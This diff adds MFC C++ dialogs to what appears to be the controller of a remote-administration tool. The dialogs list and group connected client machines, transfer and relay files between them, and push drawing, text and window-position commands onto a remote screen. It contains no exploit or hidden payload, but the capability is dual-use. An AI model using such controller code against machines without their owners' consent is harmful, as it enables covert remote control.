for (int col = COL_NOTE; col < g_nColumnCount; col++) {
m_ClientList.SetItemText(nItem, col, _T(""));
}
// 根据配置填充分组字段到对应列
for (int i = 0; i < g_nGroupFieldCount; i++) {
m_ClientList.SetItemText(nItem, g_GroupFieldConfigs[i].ColumnIndex, groupKey.Values[i]);
}
// 分组行的 ItemData 使用高位标记: 0x8000000000000000 | groupId
m_ClientList.SetItemData(nItem, 0x8000000000000000ULL | groupInfo.GroupId);
nRow++;
// 如果展开,显示组内设备
if (groupInfo.bExpanded) {
for (const auto& client : groupInfo.Clients) {
const ClientKey& key = client.first;
const ClientValue& val = client.second;
CString strSubNo, strID;
strID.FormatL(_T("%llu"), key);
CString strLevel;
strLevel.FormatL(_T("%d"), val.Level);
CString strAuth = val.Authorized ? _T("Y") : _T("N");
nItem = m_ClientList.InsertItem(nRow, strSubNo);
m_ClientList.SetItemText(nItem, COL_ID, strID);
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
nRow++;
}
}
}
}
}
void CClientListDlg::OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
int nColumn = pNMLV->iSubItem;
// 序号列不排序
if (nColumn == COL_NO) {
*pResult = 0;
return;
}
// 点击同一列切换排序方向
if (nColumn == m_nSortColumn) {
m_bSortAscending = !m_bSortAscending;
} else {
m_nSortColumn = nColumn;
m_bSortAscending = TRUE;
}
SortByColumn(nColumn, m_bSortAscending);
*pResult = 0;
}
void CClientListDlg::SortByColumn(int /*nColumn*/, BOOL /*bAscending*/)
{
// 排序在 DisplayClients 中进行(使用成员变量 m_nSortColumn, m_bSortAscending
m_ClientList.SetRedraw(FALSE);
DisplayClients();
m_ClientList.SetRedraw(TRUE);
m_ClientList.Invalidate();
}
void CClientListDlg::AdjustColumnWidths()
{
m_ClientList.AdjustColumnWidths();
}
void CClientListDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (m_ClientList.GetSafeHwnd() == NULL) {
return; // 控件还没创建
}
// 留点边距
int margin = 10;
// 列表控件填满整个对话框(留边距)
m_ClientList.MoveWindow(margin, margin, cx - margin * 2, cy - margin * 2);
AdjustColumnWidths();
}
void CClientListDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMITEMACTIVATE pNMIA = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
int nItem = pNMIA->iItem;
if (nItem < 0) {
*pResult = 0;
return;
}
DWORD_PTR itemData = m_ClientList.GetItemData(nItem);
// 检查是否为分组行 (高位被设置)
if (itemData & 0x8000000000000000ULL) {
int groupId = (int)(itemData & 0x7FFFFFFFFFFFFFFFULL);
// 查找对应的分组并切换展开状态
for (auto& pair : m_groups) {
if (pair.second.GroupId == groupId) {
pair.second.bExpanded = !pair.second.bExpanded;
break;
}
}
// 刷新显示
m_ClientList.SetRedraw(FALSE);
DisplayClients();
m_ClientList.SetRedraw(TRUE);
// 恢复选中状态:找到刷新后的分组行并选中
for (int i = 0; i < m_ClientList.GetItemCount(); i++) {
DWORD_PTR data = m_ClientList.GetItemData(i);
if ((data & 0x8000000000000000ULL) &&
(int)(data & 0x7FFFFFFFFFFFFFFFULL) == groupId) {
m_ClientList.SetItemState(i, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
m_ClientList.EnsureVisible(i, FALSE);
break;
}
}
m_ClientList.Invalidate();
}
*pResult = 0;
}
BOOL CClientListDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_MOUSEMOVE && pMsg->hwnd == m_ClientList.GetSafeHwnd()) {
m_ToolTip.RelayEvent(pMsg);
CPoint pt(pMsg->lParam);
LVHITTESTINFO hitInfo = {};
hitInfo.pt = pt;
m_ClientList.SubItemHitTest(&hitInfo);
int nItem = hitInfo.iItem;
int nSubItem = hitInfo.iSubItem;
if (nItem != m_nTipItem || nSubItem != m_nTipSubItem) {
m_nTipItem = nItem;
m_nTipSubItem = nSubItem;
if (nItem >= 0) {
CString strText = m_ClientList.GetItemText(nItem, nSubItem);
// 判断文本是否被截断
CClientDC dc(&m_ClientList);
CFont* pOldFont = dc.SelectObject(m_ClientList.GetFont());
CSize textSize = dc.GetTextExtent(strText);
dc.SelectObject(pOldFont);
int colWidth = m_ClientList.GetColumnWidth(nSubItem);
if (textSize.cx + 12 > colWidth && !strText.IsEmpty()) {
m_ToolTip.UpdateTipText(strText, &m_ClientList);
} else {
m_ToolTip.UpdateTipText(_T(""), &m_ClientList);
}
} else {
m_ToolTip.UpdateTipText(_T(""), &m_ClientList);
}
}
}
return __super::PreTranslateMessage(pMsg);
}
void CClientListDlg::OnCancel()
{
DestroyWindow();
}
void CClientListDlg::PostNcDestroy()
{
if (g_pParent) {
g_pParent->m_pClientListDlg = nullptr;
}
__super::PostNcDestroy();
delete this;
}
void CClientListDlg::OnOK()
{
}

View File

@@ -0,0 +1,78 @@
#pragma once
#include "afxdialogex.h"
#include "HostInfo.h"
#include "Resource.h"
#include <vector>
#include <algorithm>
#include <map>
#include "2015RemoteDlg.h"
#include "CListCtrlEx.h"
// 分组键:支持任意字段组合
struct GroupKey {
std::vector<CString> Values;
bool operator<(const GroupKey& other) const
{
size_t count = (std::min)(Values.size(), other.Values.size());
for (size_t i = 0; i < count; i++) {
int cmp = Values[i].Compare(other.Values[i]);
if (cmp != 0) return cmp < 0;
}
return Values.size() < other.Values.size();
}
};
// 分组信息
struct GroupInfo {
int GroupId;
BOOL bExpanded;
std::vector<std::pair<ClientKey, ClientValue>> Clients;
};
// CClientListDlg 对话框
class CClientListDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CClientListDlg)
public:
CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent = nullptr);
virtual ~CClientListDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_CLIENTLIST };
#endif
protected:
_ClientList* g_ClientList;
CMy2015RemoteDlg* g_pParent;
std::vector<std::pair<ClientKey, ClientValue>> m_clients; // 数据副本
std::map<GroupKey, GroupInfo> m_groups; // 分组数据
int m_nSortColumn; // 当前排序列
BOOL m_bSortAscending; // 是否升序
CToolTipCtrl m_ToolTip;
int m_nTipItem; // 当前提示的行
int m_nTipSubItem; // 当前提示的列
void BuildGroups(); // 构建分组数据
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CListCtrlEx m_ClientList;
virtual BOOL OnInitDialog();
void RefreshClientList();
void DisplayClients();
void AdjustColumnWidths();
void SortByColumn(int nColumn, BOOL bAscending);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
virtual BOOL PreTranslateMessage(MSG* pMsg);
virtual void OnCancel();
virtual void PostNcDestroy();
virtual void OnOK();
};

View File

@@ -0,0 +1,251 @@
// CDlgFileSend.cpp: 实现文件
//
#include "stdafx.h"
#include "CDlgFileSend.h"
#include "2015RemoteDlg.h" // For g_2015RemoteDlg->FindHost()
// CDlgFileSend 对话框
IMPLEMENT_DYNAMIC(CDlgFileSend, CDialog)
CDlgFileSend::CDlgFileSend(CMy2015RemoteDlg* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject, BOOL sendFile)
: DialogBase(CDlgFileSend::IDD, pParent, IOCPServer, ContextObject, IDI_File), m_bIsSending(sendFile)
{
m_pParent = (CMy2015RemoteDlg*)pParent;
}
CDlgFileSend::~CDlgFileSend()
{
}
void CDlgFileSend::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_PROGRESS_FILESEND, m_Progress);
}
BEGIN_MESSAGE_MAP(CDlgFileSend, CDialog)
ON_WM_CLOSE()
ON_WM_TIMER()
ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress)
ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend)
END_MESSAGE_MAP()
// CDlgFileSend 消息处理程序
std::string GetPwdHash();
std::string GetHMAC(int offset);
void RecvData(void* ptr)
{
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
}
void CDlgFileSend::OnReceiveComplete(void)
{
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen();
if (len == 0) return;
BYTE cmd = szBuffer[0];
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
// V2 文件完成校验包
if (cmd == COMMAND_FILE_COMPLETE_V2) {
if (len < sizeof(FileCompletePacketV2)) {
Mprintf("[FileSend] FILE_COMPLETE_V2 包太短: %u < %zu\n", len, sizeof(FileCompletePacketV2));
return;
}
FileCompletePacketV2* completePkt = (FileCompletePacketV2*)szBuffer;
// C2C 包:转发到目标客户端
if (completePkt->dstClientID != 0) {
context* dstCtx = m_pParent->FindHost(completePkt->dstClientID);
if (dstCtx) {
dstCtx->Send2Client(szBuffer, len);
Mprintf("[C2C] 转发校验包 -> 客户端 %llu\n", completePkt->dstClientID);
} else {
Mprintf("[C2C] 转发校验包失败: 目标客户端 %llu 不存在\n", completePkt->dstClientID);
}
return;
}
// 目标是服务端,本地校验
bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, len, 0);
Mprintf("[FileSend] 文件校验%s\n", verifyOk ? "通过" : "失败");
return;
}
if (cmd == COMMAND_SEND_FILE_V2) {
// V2 协议
FileChunkPacketV2* chunk = (FileChunkPacketV2*)szBuffer;
// C2C 包:转发到目标客户端,同时更新进度
if (chunk->dstClientID != 0) {
// 如果已标记目标离线,直接忽略后续数据
if (m_bTargetOffline) {
return;
}
// 转发到目标客户端
context* dstCtx = m_pParent->FindHost(chunk->dstClientID);
if (dstCtx) {
dstCtx->Send2Client(szBuffer, len);
double percent = chunk->fileSize ? 100.0 * (chunk->offset + chunk->dataLength) / chunk->fileSize : 100.0;
Mprintf("[C2C] 转发 %d/%d: %.1f%% (%llu/%llu)\n",
1 + chunk->fileIndex, chunk->totalFiles, percent,
chunk->offset + chunk->dataLength, chunk->fileSize);
} else {
Mprintf("[C2C] CDlgFileSend 转发失败: 目标客户端 %llu 不存在,发送取消包\n", chunk->dstClientID);
m_bTargetOffline = TRUE;
// 发送取消包给发送方
FileResumePacketV2 cancelPkt = {};
cancelPkt.cmd = COMMAND_FILE_RESUME;
cancelPkt.transferID = chunk->transferID;
cancelPkt.srcClientID = 0; // 来自服务端
cancelPkt.dstClientID = chunk->srcClientID; // 回复给发送方
cancelPkt.fileIndex = chunk->fileIndex;
cancelPkt.fileSize = chunk->fileSize;
cancelPkt.receivedBytes = chunk->offset;
cancelPkt.flags = FFV2_CANCEL;
cancelPkt.rangeCount = 0;
m_ContextObject->Send2Client((LPBYTE)&cancelPkt, sizeof(cancelPkt));
// 关闭此连接
FinishFileSend(FALSE);
return;
}
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
UpdateProgress(CString((char*)name, (int)chunk->nameLength), FileProgressInfo(chunk));
return;
}
// 目标是服务端,本地接收
int n = RecvFileChunkV2((char*)szBuffer, len, nullptr, nullptr, hash, hmac, 0);
if (n) {
Mprintf("RecvFileChunkV2 failed: %d\n", n);
}
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
UpdateProgress(CString((char*)name, (int)chunk->nameLength), FileProgressInfo(chunk));
} else {
// V1 协议
CONNECT_ADDRESS addr = { 0 };
memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash)));
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
}
FileChunkPacket* chunk = (FileChunkPacket*)szBuffer;
BYTE* name = szBuffer + sizeof(FileChunkPacket);
UpdateProgress(CString((char*)name, chunk->nameLength), FileProgressInfo(chunk));
}
}
void CDlgFileSend::UpdateProgress(CString file, const FileProgressInfo& info)
{
if (!GetSafeHwnd()) return;
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
}
void CDlgFileSend::FinishFileSend(BOOL succeed)
{
if (!GetSafeHwnd()) return;
PostMessageA(WM_FINISHFILESEND, NULL, (LPARAM)succeed);
}
LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
{
CString* pFile = (CString*)wParam;
FileProgressInfo* pInfo = (FileProgressInfo*)lParam;
CString status;
double percent = pInfo->fileSize ? (pInfo->offset + pInfo->dataLength) * 100. / pInfo->fileSize : 100.;
m_bIsSending ?
status.FormatL("发送文件(%d/%d): %.2f%%", 1 + pInfo->fileIndex, pInfo->totalFiles, percent):
status.FormatL("接收文件(%d/%d): %.2f%%", 1 + pInfo->fileIndex, pInfo->totalFiles, percent);
SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
m_Progress.SetPos((int)percent);
// 只在第一次显示时置顶,后续更新不抢焦点
if (!IsWindowVisible()) {
ShowWindow(SW_SHOW);
SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
// 只有最后一个文件完成时才设置自动关闭定时器
// 避免多文件传输时第一个文件完成后就关闭对话框
bool isLastFile = (pInfo->fileIndex + 1 >= pInfo->totalFiles);
if (percent >= 100. && isLastFile) {
SetTimer(1, 3000, NULL);
} else {
// 传输新文件时取消之前的定时器
KillTimer(1);
}
delete pInfo;
delete pFile;
return 0;
}
LRESULT CDlgFileSend::OnFinishFileSend(WPARAM wParam, LPARAM lParam)
{
BOOL success = (BOOL)lParam;
m_bIsSending ?
SetDlgItemText(IDC_STATIC_CURRENTINDEX, success ? _TR("文件发送完成") : _TR("文件发送失败")):
SetDlgItemText(IDC_STATIC_CURRENTINDEX, success ? _TR("文件接收完成") : _TR("文件接收失败"));
if (success)
m_Progress.SetPos(100);
// 完成后取消置顶,恢复普通窗口
SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
ShowWindow(SW_SHOW);
SetTimer(1, 3000, NULL); // 3秒后自动关闭
return 0;
}
BOOL CDlgFileSend::OnInitDialog()
{
DialogBase::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_CURRENTINDEX, _TR("发送文件(999/999):"));
SetIcon(m_hIcon, FALSE);
SetWindowText(m_bIsSending ? _TR("发送文件") : _TR("接收文件"));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != nullptr) {
pSysMenu->EnableMenuItem(SC_CLOSE, MF_BYCOMMAND | MF_GRAYED);
}
return TRUE;
}
void CDlgFileSend::OnClose()
{
// V2传输使用主连接关闭对话框时不应断开连接
if (!m_bKeepConnection) {
CancelIO();
}
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DialogBase::OnClose();
}
void CDlgFileSend::OnTimer(UINT_PTR nIDEvent)
{
if (nIDEvent == 1) {
KillTimer(1);
PostMessageA(WM_CLOSE, 0, 0);
}
}

View File

@@ -0,0 +1,67 @@
#pragma once
#include "IOCPServer.h"
#include "afxdialogex.h"
#include <resource.h>
#include"file_upload.h"
#include "2015RemoteDlg.h"
#define WM_UPDATEFILEPROGRESS (WM_USER + 0x100)
#define WM_FINISHFILESEND (WM_USER + 0x101)
// 协议无关的进度信息结构(支持 V1 和 V2
struct FileProgressInfo {
uint32_t fileIndex;
uint32_t totalFiles;
uint64_t fileSize;
uint64_t offset;
uint64_t dataLength;
uint64_t nameLength;
// 从 V1 包构造
FileProgressInfo(const FileChunkPacket* pkt) :
fileIndex(pkt->fileIndex), totalFiles(pkt->totalNum),
fileSize(pkt->fileSize), offset(pkt->offset),
dataLength(pkt->dataLength), nameLength(pkt->nameLength) {}
// 从 V2 包构造
FileProgressInfo(const FileChunkPacketV2* pkt) :
fileIndex(pkt->fileIndex), totalFiles(pkt->totalFiles),
fileSize(pkt->fileSize), offset(pkt->offset),
dataLength(pkt->dataLength), nameLength(pkt->nameLength) {}
};
// CDlgFileSend 对话框
class CDlgFileSend : public DialogBase
{
DECLARE_DYNAMIC(CDlgFileSend)
CMy2015RemoteDlg* m_pParent = nullptr;
public:
CDlgFileSend(CMy2015RemoteDlg* pParent = NULL, Server* IOCPServer = NULL,
CONTEXT_OBJECT* ContextObject = NULL, BOOL sendFile = TRUE);
virtual ~CDlgFileSend();
void OnReceiveComplete(void);
void UpdateProgress(CString file, const FileProgressInfo& info);
void FinishFileSend(BOOL succeed);
BOOL m_bIsSending;
BOOL m_bKeepConnection = FALSE; // V2传输完成后不断开主连接
BOOL m_bTargetOffline = FALSE; // C2C目标已离线已发送取消包
enum { IDD = IDD_DIALOG_FILESEND };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
public:
CProgressCtrl m_Progress;
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnTimer(UINT_PTR nIDEvent);
};

View File

@@ -0,0 +1,335 @@
#include "stdafx.h"
#include "CDrawingBoard.h"
#include "afxdialogex.h"
#include "Resource.h"
IMPLEMENT_DYNAMIC(CDrawingBoard, CDialog)
CDrawingBoard::CDrawingBoard(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(IDD_DRAWING_BOARD, pParent, IOCPServer, ContextObject, IDI_ICON_DRAWING),
m_bDrawing(false)
{
m_bTopMost = true;
m_bTransport = true;
m_bMoving = false;
m_bSizing = false;
m_pInputEdit = nullptr;
}
CDrawingBoard::~CDrawingBoard()
{
if (m_pInputEdit != nullptr) {
m_pInputEdit->DestroyWindow();
delete m_pInputEdit;
m_pInputEdit = nullptr;
}
if (m_font.GetSafeHandle())
m_font.DeleteObject();
if (m_pen.GetSafeHandle())
m_pen.DeleteObject();
}
void CDrawingBoard::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CDrawingBoard, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_WM_PAINT()
ON_WM_LBUTTONDOWN()
ON_WM_MOUSEMOVE()
ON_WM_LBUTTONUP()
ON_WM_WINDOWPOSCHANGED()
ON_WM_RBUTTONDOWN()
ON_COMMAND(ID_DRAWING_TOPMOST, &CDrawingBoard::OnDrawingTopmost)
ON_COMMAND(ID_DRAWING_TRANSPORT, &CDrawingBoard::OnDrawingTransport)
ON_COMMAND(ID_DRAWING_MOVE, &CDrawingBoard::OnDrawingMove)
ON_COMMAND(ID_DRAWING_SIZE, &CDrawingBoard::OnDrawingSize)
ON_COMMAND(IDM_CLEAR_DRAWING, &CDrawingBoard::OnDrawingClear)
ON_COMMAND(ID_DRAWING_TEXT, &CDrawingBoard::OnDrawingText)
END_MESSAGE_MAP()
void CDrawingBoard::OnReceiveComplete()
{
// 接收时处理逻辑(暂空)
}
void CDrawingBoard::OnClose()
{
CancelIO();
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DialogBase::OnClose();
}
void CDrawingBoard::OnPaint()
{
CPaintDC dc(this);
CPen* pOldPen = dc.SelectObject(&m_pen);
for (const auto& path : m_paths) {
if (path.size() < 2) continue;
dc.MoveTo(path[0]);
for (size_t i = 1; i < path.size(); ++i)
dc.LineTo(path[i]);
}
if (m_bDrawing && m_currentPath.size() >= 2) {
dc.MoveTo(m_currentPath[0]);
for (size_t i = 1; i < m_currentPath.size(); ++i)
dc.LineTo(m_currentPath[i]);
}
CFont* pOldFont = dc.SelectObject(&m_font);
dc.SetTextColor(RGB(0, 0, 0));
dc.SetBkMode(TRANSPARENT);
for (const auto& entry : m_Texts)
dc.TextOut(entry.first.x, entry.first.y, entry.second);
dc.SelectObject(pOldFont);
dc.SelectObject(pOldPen);
}
void CDrawingBoard::OnLButtonDown(UINT nFlags, CPoint point)
{
m_bDrawing = true;
m_currentPath.clear();
m_currentPath.push_back(point);
SetCapture();
}
void CDrawingBoard::OnMouseMove(UINT nFlags, CPoint point)
{
if (m_bDrawing) {
m_currentPath.push_back(point);
Invalidate(FALSE);
// 发送当前点
BYTE pkg[1 + sizeof(POINT)] = { CMD_DRAW_POINT };
memcpy(pkg + 1, &point, sizeof(POINT));
m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
}
}
void CDrawingBoard::OnLButtonUp(UINT nFlags, CPoint point)
{
if (m_bDrawing) {
m_bDrawing = false;
m_currentPath.push_back(point);
ReleaseCapture();
m_paths.push_back(m_currentPath);
Invalidate();
// 发送结束命令,表示当前路径完成
BYTE endCmd = CMD_DRAW_END;
m_ContextObject->Send2Client(&endCmd, 1);
}
}
void CDrawingBoard::OnWindowPosChanged(WINDOWPOS* lpwndpos)
{
__super::OnWindowPosChanged(lpwndpos);
if (!m_bMoving) return;
CRect rect;
GetWindowRect(&rect); // 获取当前窗口屏幕位置
BYTE pkg[1 + sizeof(CRect)] = { CMD_MOVEWINDOW };
if (!m_bSizing) {
rect.right = rect.left;
rect.bottom = rect.top;
}
memcpy(pkg + 1, &rect, sizeof(CRect));
m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
}
void CDrawingBoard::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (!m_bSizing) return;
// 发送新的窗口尺寸到客户端
int sizeData[2] = { cx, cy };
BYTE pkg[sizeof(sizeData) + 1] = { CMD_SET_SIZE };
memcpy(pkg + 1, &sizeData, sizeof(sizeData));
m_ContextObject->Send2Client((PBYTE)pkg, sizeof(pkg));
}
void CDrawingBoard::OnDrawingTopmost()
{
m_bTopMost = !m_bTopMost;
BYTE cmd[2] = { CMD_TOPMOST, m_bTopMost };
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
int n = m_bTopMost ? MF_CHECKED : MF_UNCHECKED;
::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | n);
}
void CDrawingBoard::OnDrawingTransport()
{
m_bTransport = !m_bTransport;
BYTE cmd[2] = { CMD_TRANSPORT, m_bTransport ? 150 : 255 };
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
int n = m_bTransport ? MF_CHECKED : MF_UNCHECKED;
::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | n);
}
void CDrawingBoard::OnDrawingMove()
{
m_bMoving = !m_bMoving;
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
int cmd = m_bMoving ? MF_CHECKED : MF_UNCHECKED;
::CheckMenuItem(hMenu, ID_DRAWING_MOVE, MF_BYCOMMAND | cmd);
}
void CDrawingBoard::OnDrawingSize()
{
m_bSizing = !m_bSizing;
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
int cmd = m_bSizing ? MF_CHECKED : MF_UNCHECKED;
::CheckMenuItem(hMenu, ID_DRAWING_SIZE, MF_BYCOMMAND | cmd);
}
BOOL CDrawingBoard::OnInitDialog()
{
DialogBase::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
CString str;
str.FormatL("%s - 画板演示", m_IPAddress);
SetWindowText(str);
m_font.CreateFont(
20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_pen.CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | MF_CHECKED);
::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | MF_CHECKED);
return TRUE;
}
void CDrawingBoard::OnDrawingClear()
{
m_paths.clear();
m_currentPath.clear();
m_Texts.clear();
BYTE cmd[2] = { CMD_DRAW_CLEAR, 0 };
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
if (m_hWnd && IsWindow(m_hWnd))
::InvalidateRect(m_hWnd, NULL, TRUE); // 重绘整个窗口,清除痕迹
}
void CDrawingBoard::OnRButtonDown(UINT nFlags, CPoint point)
{
m_RightClickPos = point; // 记录鼠标点
ClientToScreen(&m_RightClickPos); // 变为屏幕坐标
CMenu menu;
menu.LoadMenu(IDR_MENU_POPUP);
TranslateMenu(&menu);
CMenu* pSubMenu = menu.GetSubMenu(0);
if (pSubMenu)
pSubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, m_RightClickPos.x, m_RightClickPos.y, this);
__super::OnRButtonDown(nFlags, point);
}
void CDrawingBoard::OnDrawingText()
{
if (m_pInputEdit != nullptr) {
m_pInputEdit->DestroyWindow();
delete m_pInputEdit;
m_pInputEdit = nullptr;
}
CPoint ptClient = m_RightClickPos;
ScreenToClient(&ptClient);
m_pInputEdit = new CEdit();
m_pInputEdit->Create(WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
CRect(ptClient.x, ptClient.y, ptClient.x + 200, ptClient.y + 25),
this, 1234); // 控件 ID 可自定
m_pInputEdit->SetFocus();
}
BOOL CDrawingBoard::PreTranslateMessage(MSG* pMsg)
{
if (m_pInputEdit && pMsg->hwnd == m_pInputEdit->m_hWnd) {
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN) {
CString strText;
m_pInputEdit->GetWindowText(strText);
// TODO: 将文字位置和内容加入列表并触发绘图
if (!strText.IsEmpty()) {
CPoint ptClient = m_RightClickPos;
ScreenToClient(&ptClient);
m_Texts.push_back(std::make_pair(ptClient, strText));
SendTextsToRemote(ptClient, strText);
}
m_pInputEdit->DestroyWindow();
delete m_pInputEdit;
m_pInputEdit = nullptr;
return TRUE; // 吞掉回车
}
}
return __super::PreTranslateMessage(pMsg);
}
void CDrawingBoard::SendTextsToRemote(const CPoint& pt, const CString& text)
{
if (text.IsEmpty()) return;
// 1. 转换为 UTF-8
// CString 是 TCHAR 类型,若项目是多字节字符集,则需先转为宽字符
#ifdef _UNICODE
LPCWSTR lpWideStr = text;
#else
// 从 ANSI 转为宽字符
int wideLen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
std::wstring wideStr(wideLen, 0);
MultiByteToWideChar(CP_ACP, 0, text, -1, &wideStr[0], wideLen);
LPCWSTR lpWideStr = wideStr.c_str();
#endif
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, NULL, 0, NULL, NULL);
if (utf8Len <= 1) return; // 空或失败
std::vector<char> utf8Text(utf8Len - 1); // 去掉末尾的 \0
WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, utf8Text.data(), utf8Len - 1, NULL, NULL);
// 2. 构造发送 buffer
std::vector<char> buffer;
buffer.push_back(CMD_DRAW_TEXT); // 自定义命令码
buffer.insert(buffer.end(), (char*)&pt, (char*)&pt + sizeof(CPoint));
buffer.insert(buffer.end(), utf8Text.begin(), utf8Text.end());
// 3. 发送
m_ContextObject->Send2Client((LPBYTE)buffer.data(), (ULONG)buffer.size());
}

View File

@@ -0,0 +1,61 @@
#pragma once
#include "IOCPServer.h"
#include "afxwin.h"
// CDrawingBoard 对话框
class CDrawingBoard : public DialogBase
{
DECLARE_DYNAMIC(CDrawingBoard)
public:
CDrawingBoard(CWnd* pParent = nullptr, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
virtual ~CDrawingBoard();
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DRAWING_BOARD };
#endif
VOID OnReceiveComplete();
afx_msg void OnPaint();
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnWindowPosChanged(WINDOWPOS* lpwndpos);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
void OnClose();
DECLARE_MESSAGE_MAP()
BOOL PreTranslateMessage(MSG* pMsg);
void SendTextsToRemote(const CPoint& pt, const CString& inputText);
private:
bool m_bTopMost; // 置顶
bool m_bTransport; // 半透明
bool m_bMoving; // 位置跟随
bool m_bSizing; // 大小跟随
bool m_bDrawing; // 是否正在绘图
std::vector<CPoint> m_currentPath; // 当前路径点
